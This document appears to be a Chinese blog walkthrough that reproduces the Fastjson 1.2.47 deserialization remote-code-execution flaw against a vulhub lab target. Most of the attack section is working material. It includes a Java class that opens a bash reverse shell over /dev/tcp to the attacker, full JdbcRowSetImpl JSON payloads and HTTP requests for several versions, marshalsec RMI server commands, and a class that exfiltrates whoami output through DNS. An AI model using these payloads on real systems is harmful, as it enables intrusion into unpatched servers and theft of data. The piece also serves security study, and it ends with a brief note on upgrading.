Fastjson反序列化漏洞复现

fastjson简介

fastjson是由阿里巴巴工程师基于JAVA开发的一款JSON解析器和生成器,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象。

漏洞原理

漏洞原因:
  lookup函数中参数可控,可以指向攻击者服务器,实现JNDI注入实现任意代码执行

fastjson

利用方法:

  1.首先开启HTTP服务器,并将我们的恶意类放在目录下
  2.开启恶意RMI服务器
  3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
  4.恶意RMI服务器返回ReferenceWrapper类
  5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

复现详情

靶场搭建

靶场说明:

ubuntu20.04.2

fastjson1.2.47

docker搭建vulhub


#搭建docker
apt-get install docker
apt-get install docker-compose
reboot
service docker start

sudo service docker start //启动docker(设置自启动的不需要)
docker version 或者docker -v //查看版本信息
docker ps //查看容器
docker images //查看已有镜像

git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.47-rce

sudo docker-compose build //编译靶场环境
sudo docker-compose up -d //启动靶场
sudo docker-compose down //关闭服务

攻击机搭建

kali


搭建RMI/LDAP服务


工具:

      marshalsec-0.0.3-SNAPSHOT-all.jar:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

      burpsuite

      jdk:1.8.0_181:https://pan.baidu.com/s/1BX-7vrIvkZ0Ii5IuUruIIA 提取码:y7ea


安装过程

mkdir /opt/java
tar -zxvf jdk-8u181-linux-x64.tar.gz -C /opt/java
vim /etc/profile
export JAVA_HOME=/opt/java/jdk1.8.0_181
export JRE_HOME=/opt/java/jdk1.8.0_181
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version

apt install maven

#编译marshalsec项目
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests

RMI服务

原理:

Java RMI服务是远程方法调用(Remote Method Invocation)。它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法

在Java Web中,很多地方都会用到RMI来相互调用。比如很多大型组织都会在后台部署一些Java应用,用于对外网站发布更新的静态页面,而这种发布命令的下达使用的就是这种RMI形式。
值得注意的是,RMI传输过程必然会使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这种库,那么会导致远程命令执行。


JNDI注入

原理:

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

简述:

简单来说就是恶意类绑定在RMI中,由于用户在JNDI客户端的参数外部可控,使得用户的JNDI客户端访问到了RMI,加载了外部恶意class文件,实现了JNDI注入导致了恶意代码执行


漏洞复现

发现json格式



判断是否存在fastjson

1、使用半个括号查看返回包

2、通过dnslog回显的方式来判断是否可以远程方法调用

{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} 
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"}
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}]
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0


判断是Fastjson和Jackon

jackon比较严格,强制key和javabean属性对齐,只能少key不能多,通过新增key来判断


测试是否外连

监听端口

nc -lvvp 7777

尝试连接

此处请求包是要为json格式

POST / HTTP/1.1
Host: 192.168.1.115:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 192

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.116:7777/Exploit","autoCommit":true}}}


我们也可以尝试使用dnslog回显判断

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://xxx.dnslog.cn/aaa","autoCommit":true}}
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"}
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"} {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0


利用过程

攻击机监听端口

nc -lvvp 8888

攻击exp修改我们的攻击机

exploit.java

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击机ip/8888 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

编译成class

javac Exploit.java

开启http服务,访问后可以看到Exploit.class文件

python3 -m http.server 8080

开启RMI服务

RMI服务器监听9999端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:8080/#Exploit" 9999

不同版本的

# 1.2.47以下版本 
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.43.102:9999/Exploit", "autoCommit":true } }
# 1.2.24以下版本
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://同上类文件地址:9999/TouchFile", "autoCommit":true } }

利用exp通过

POST / HTTP/1.1
Host: 192.168.1.115:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 263

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.116:9999/Exploit",
"autoCommit":true
}
}

成功获取到shell


dnslog利用

我们可以使用dnslog将执行的命令进行请求,其他操作步骤与上面一样

dnslog.java

import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

POC:

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:9999/dnslog",
"autoCommit":true
}
}

漏洞修复

升级至官方最新版本 1.62。(修复所有已知漏洞,具备最新黑名单)

上一篇

Shiro反序列化漏洞复现